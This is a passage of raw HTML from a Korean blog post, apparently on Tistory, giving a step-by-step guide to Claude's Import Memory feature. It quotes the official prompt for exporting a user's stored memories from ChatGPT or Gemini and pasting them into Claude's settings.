&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Step 1: claude.com/import-memory 방문&lt;/li&gt;
&lt;li&gt;Step 2: AI별 메모리 확인 및 기억 추출&lt;/li&gt;
&lt;li&gt;Step 3: Claude 설정에 가져오기&lt;/li&gt;
&lt;li&gt;반영 실패 시 대처 방법&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;무엇이 이전되나 / 이전되지 않나&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;주요 특징 살펴보기
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;메모리 병합(Merge) 방식&lt;/li&gt;
&lt;li&gt;24시간 처리 주기&lt;/li&gt;
&lt;li&gt;메모리 내보내기(Export)도 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;AI 기억 락인 경쟁의 시대&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;주의사항 및 팁&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;참고 자료&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;Import Memory 요약&lt;/b&gt;&lt;br /&gt;앤트로픽이 공개한 Import Memory는 ChatGPT, Gemini 등 다른 AI에 쌓아둔 기억(선호도, 프로젝트 맥락, 말투 등)을 Claude로 한 번에 옮겨오는 기능이다. 기존 AI에 지정된 프롬프트를 붙여 넣으면 AI가 자신이 기억하는 내용을 텍스트로 추출해주고, 그것을 Claude 설정에 붙여 넣으면 Claude가 이를 자신의 메모리 시스템에 통합한다. 유료 플랜(Pro, Max, Team, Enterprise)에서 이용 가능하다. (출처: &lt;a href=&quot;https://support.claude.com/en/articles/12123587-importing-and-exporting-your-memory-from-claude&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude 공식 도움말&lt;/a&gt;)&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; border-left: 4px solid #6c8ebf; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;  Claude 메모리(Memory)란?&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude 메모리는 사용자의 선호도, 작업 방식, 프로젝트 맥락 등을 대화 세션을 넘어 기억해두는 기능이다. 메모리가 저장되면 새 대화를 시작해도 &quot;내가 Python을 선호한다&quot;, &quot;회사에서 어떤 프레임워크를 쓴다&quot;는 사실을 Claude가 이미 알고 있는 상태로 시작된다. 유료 플랜에서 제공되며, Settings &amp;rarr; Capabilities &amp;rarr; Memory에서 관리할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 섹션 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1.&amp;nbsp; Import Memory란 무엇인가&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;AI 기억 락인(Lock-in) 문제&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ChatGPT를 1년 넘게 써왔다면, 그 AI는 나에 대해 꽤 많은 것을 알고 있다. 내가 Python을 선호한다는 것, 회사에서 어떤 프로젝트를 진행 중인지, 글을 쓸 때 어떤 말투를 좋아하는지. 이런 맥락이 쌓일수록 AI는 점점 더 &quot;나에게 맞춰진&quot; 도구가 된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;문제는 이것이 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;락인(Lock-in) 포인트&lt;/b&gt;&lt;/span&gt;가 된다는 것이다. 다른 AI가 아무리 좋아 보여도, 수개월의 맥락을 새로 쌓아야 한다는 부담이 전환을 막는다. AI 서비스들이 치열하게 경쟁하는 지금, &quot;기억&quot;은 사용자를 붙잡아두는 핵심 무기가 되고 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;왜 지금인가?&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;앤트로픽은 2026년 3월 1일, &lt;code&gt;claude.com/import-memory&lt;/code&gt; 페이지를 공개했다. (출처: &lt;a href=&quot;https://simonwillison.net/2026/Mar/1/claude-import-memory/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Simon Willison, 2026-03-01&lt;/a&gt;) 페이지 헤드라인은 &lt;b&gt;&quot;Switch to Claude without starting over&quot;&lt;/b&gt;. 약 3억 명의 주간 활성 사용자를 보유한 것으로 보도된 ChatGPT 사용자층을 겨냥한 메시지로 읽힌다.&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Import Memory 소개&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Import Memory&lt;/b&gt;는 다른 AI 서비스에 저장된 사용자 선호도, 프로젝트 맥락, 작업 방식 등을 Claude의 메모리 시스템으로 가져오는 기능이다. 앤트로픽 공식 도움말에 따르면, 이 기능은 현재 &lt;b&gt;실험적(experimental)&lt;/b&gt; 상태로 활발히 개발 중이다. (출처: &lt;a href=&quot;https://support.claude.com/en/articles/12123587-importing-and-exporting-your-memory-from-claude&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude 공식 도움말&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;이용 가능 플랜&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Pro, Max, Team, Enterprise&lt;/b&gt; &amp;mdash; 웹, Claude Desktop, Claude Mobile에서 이용 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;무료 플랜은 메모리 기능 자체가 제공되지 않음&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-top: 8px; font-size: 14px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://support.claude.com/en/articles/12123587-importing-and-exporting-your-memory-from-claude&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude 공식 도움말&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 사용 방법: 3단계&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 페이지(&lt;a href=&quot;https://claude.com/import-memory&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;claude.com/import-memory&lt;/a&gt;)에 따르면 이 과정은 &quot;under a minute(1분 이내)&quot;에 완료할 수 있다. 단, 이는 &lt;b&gt;조작 자체&lt;/b&gt;의 소요 시간이며, 가져온 메모리가 실제로 반영되기까지는 최대 24시간이 필요하다. 전체 흐름은 다음과 같다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #d0d7de;&quot;&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;margin: 0; font-family: 'Fira Code', monospace; font-size: 14px; line-height: 2.0;&quot;&gt;&lt;code&gt;┌─────────────────────────────────────────────────┐
│  Step 1. claude.com/import-memory 방문           │
│          &amp;darr; 앤트로픽이 제공하는 프롬프트 복사     │
└────────────────────┬────────────────────────────┘
                     │
┌────────────────────▼────────────────────────────┐
│  Step 2. 기존 AI 채팅창에 프롬프트 붙여 넣기    │
│          (ChatGPT, Gemini 등)                    │
│          &amp;darr; AI가 자신의 기억을 텍스트로 출력      │
│          &amp;darr; 결과 전체 복사                        │
└────────────────────┬────────────────────────────┘
                     │
┌────────────────────▼────────────────────────────┐
│  Step 3. Claude 설정에 붙여 넣기                │
│          Settings &amp;gt; Capabilities &amp;gt; Memory        │
│          &amp;darr; Claude가 메모리에 통합                │
│          &amp;darr; 최대 24시간 내 반영 완료              │
└─────────────────────────────────────────────────┘
        &lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 1: claude.com/import-memory 방문&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://claude.com/import-memory&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;claude.com/import-memory&lt;/a&gt; 페이지에 접속하면, 앤트로픽이 미리 작성해 놓은 프롬프트를 확인할 수 있다. 이 프롬프트는 기존 AI가 자신의 기억을 빠짐없이 출력하도록 설계되어 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// 앤트로픽 공식 제공 프롬프트 (출처: claude.com/import-memory, 2026-03-01 확인)&lt;/div&gt;
&lt;pre class=&quot;mipsasm&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;I'm moving to another service and need to export my data. List every memory you have stored about me, as well as any context you've learned about me from past conversations. Output everything in a single code block so I can easily copy it.

Format each entry as: [date saved, if available] - memory content.

Make sure to cover all of the following &amp;mdash; preserve my words verbatim where possible:
- Instructions I've given you about how to respond (tone, format, style, 'always do X', 'never do Y').
- Personal details: name, location, job, family, interests.
- Projects, goals, and recurring topics.
- Tools, languages, and frameworks I use.
- Preferences and corrections I've made to your behavior.
- Any other stored context not covered above.

Do not summarize, group, or omit any entries. After the code block, confirm whether that is the complete set or if any remain.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;프롬프트 설계 포인트 3가지&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;코드 블록 출력 요구&lt;/b&gt; &amp;mdash; &quot;Output everything in a single code block&quot; : 결과물을 한 번에 복사하기 쉽도록 코드 블록 형식으로 받아낸다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;날짜 포함 형식 지정&lt;/b&gt; &amp;mdash; &quot;[date saved, if available] - memory content&quot; : 저장 시점이 있는 메모리는 날짜도 함께 가져온다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;생략&amp;middot;요약&amp;middot;누락 금지&lt;/b&gt; &amp;mdash; &quot;Do not summarize, group, or omit any entries&quot; + &quot;confirm whether that is the complete set&quot; : 기존 AI가 맥락을 빠뜨리지 않고 완전하게 출력하도록 유도하며, 마지막에 완전성 확인까지 요청한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) &lt;a href=&quot;https://claude.com/import-memory&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://claude.com/import-memory&lt;/a&gt; &amp;gt; Start Importing to Claude &amp;gt; 프롬프트 복사&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1838&quot; data-origin-height=&quot;1700&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2dAfk/dJMcahDvp9U/KKAk7CkkHKpnaLFojzCs80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2dAfk/dJMcahDvp9U/KKAk7CkkHKpnaLFojzCs80/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2dAfk/dJMcahDvp9U/KKAk7CkkHKpnaLFojzCs80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2dAfk%2FdJMcahDvp9U%2FKKAk7CkkHKpnaLFojzCs80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1838&quot; height=&quot;1700&quot; data-origin-width=&quot;1838&quot; data-origin-height=&quot;1700&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1642&quot; data-origin-height=&quot;1356&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbKUBR/dJMcafyXKW9/EaS8yhIeFXaJGK1LOWnfjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbKUBR/dJMcafyXKW9/EaS8yhIeFXaJGK1LOWnfjK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbKUBR/dJMcafyXKW9/EaS8yhIeFXaJGK1LOWnfjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbKUBR%2FdJMcafyXKW9%2FEaS8yhIeFXaJGK1LOWnfjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1642&quot; height=&quot;1356&quot; data-origin-width=&quot;1642&quot; data-origin-height=&quot;1356&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 2: 기존 AI에서 기억 추출&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;AI별 메모리 기능 및 사전 확인 사항&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 8px; font-size: 13px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;아래 경로는 2026년 3월 기준이며 UI 업데이트에 따라 변경될 수 있습니다. 직접 확인을 권장합니다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 10px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #cce5ff;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff;&quot;&gt;AI 서비스&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff;&quot;&gt;메모리 기능&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff;&quot;&gt;활성화 확인 경로&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff;&quot;&gt;프롬프트 유효성&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;ChatGPT&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;있음 (기본 꺼짐일 수 있음)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Settings &amp;rarr; Personalization &amp;rarr; Memory&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;활성화 후 사용했다면 유효&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fafcff;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Gemini&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;제한적 (지역&amp;middot;계정에 따라 다름)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;Gemini Apps Activity 확인&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;기억 없거나 빈약할 수 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;기타 (Copilot 등)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;세션 내 한시적 메모리만 지원&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;해당 없음&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;이전할 내용이 없거나 미미함&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;복사한 프롬프트를 ChatGPT, Gemini 등 현재 사용 중인 AI 채팅창에 붙여 넣는다. AI가 자신이 기억하는 내용을 텍스트 블록으로 출력하면, 그 결과를 전체 복사한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;팁: ChatGPT 메모리 활성화 여부 먼저 확인&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;ChatGPT의 경우 Settings &amp;gt; Personalization &amp;gt; Memory 가 켜져 있어야 기억이 저장되어 있다. 메모리가 꺼져 있었다면 이전할 내용이 없을 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex1) GPT&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1312&quot; data-origin-height=&quot;896&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJKg3F/dJMcahcrP9F/rUp2gkXFk1RB2Pk5KsBcp1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJKg3F/dJMcahcrP9F/rUp2gkXFk1RB2Pk5KsBcp1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJKg3F/dJMcahcrP9F/rUp2gkXFk1RB2Pk5KsBcp1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJKg3F%2FdJMcahcrP9F%2FrUp2gkXFk1RB2Pk5KsBcp1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1312&quot; height=&quot;896&quot; data-origin-width=&quot;1312&quot; data-origin-height=&quot;896&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 생성된 결과 복사하자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1302&quot; data-origin-height=&quot;344&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QWI7J/dJMcajuxWCd/WVS4GVaUH3TLuvPbJPUKs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QWI7J/dJMcajuxWCd/WVS4GVaUH3TLuvPbJPUKs1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QWI7J/dJMcajuxWCd/WVS4GVaUH3TLuvPbJPUKs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQWI7J%2FdJMcajuxWCd%2FWVS4GVaUH3TLuvPbJPUKs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1302&quot; height=&quot;344&quot; data-origin-width=&quot;1302&quot; data-origin-height=&quot;344&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex2) Gemini&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1760&quot; data-origin-height=&quot;1132&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cR37LH/dJMcahDvqlH/8o99duUEXZTsCB3AlgE8p1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cR37LH/dJMcahDvqlH/8o99duUEXZTsCB3AlgE8p1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cR37LH/dJMcahDvqlH/8o99duUEXZTsCB3AlgE8p1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcR37LH%2FdJMcahDvqlH%2F8o99duUEXZTsCB3AlgE8p1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1760&quot; height=&quot;1132&quot; data-origin-width=&quot;1760&quot; data-origin-height=&quot;1132&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 생성된 결과 복사하자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1316&quot; data-origin-height=&quot;690&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rtFSM/dJMcaduiFm3/9oLbbmR5rGVu1094GCU0Hk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rtFSM/dJMcaduiFm3/9oLbbmR5rGVu1094GCU0Hk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rtFSM/dJMcaduiFm3/9oLbbmR5rGVu1094GCU0Hk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrtFSM%2FdJMcaduiFm3%2F9oLbbmR5rGVu1094GCU0Hk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1316&quot; height=&quot;690&quot; data-origin-width=&quot;1316&quot; data-origin-height=&quot;690&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 3: Claude 설정에 가져오기&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude 설정에 접근하는 방법은 두 가지다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;직접 URL 접근&lt;/b&gt;: &lt;code&gt;claude.ai/settings/capabilities?open_memory_import=true&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;설정 메뉴&lt;/b&gt;: Settings &amp;rarr; Capabilities &amp;rarr; Memory 섹션의 가져오기 버튼&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;복사해 둔 텍스트를 붙여 넣고 &quot;Add to memory&quot; 버튼을 클릭하면 Claude가 이를 분석하여 개별 메모리 항목으로 추출, 저장한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://support.claude.com/en/articles/12123587-importing-and-exporting-your-memory-from-claude&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude 공식 도움말&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 하기이미지 처럼 붙여 넣기 및 &quot;메모리에 추가&quot; 클릭&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1174&quot; data-origin-height=&quot;1314&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUivB7/dJMcabcdVti/nVdmenGSgCuCqzuJrIgaek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUivB7/dJMcabcdVti/nVdmenGSgCuCqzuJrIgaek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUivB7/dJMcabcdVti/nVdmenGSgCuCqzuJrIgaek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUivB7%2FdJMcabcdVti%2FnVdmenGSgCuCqzuJrIgaek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;476&quot; height=&quot;533&quot; data-origin-width=&quot;1174&quot; 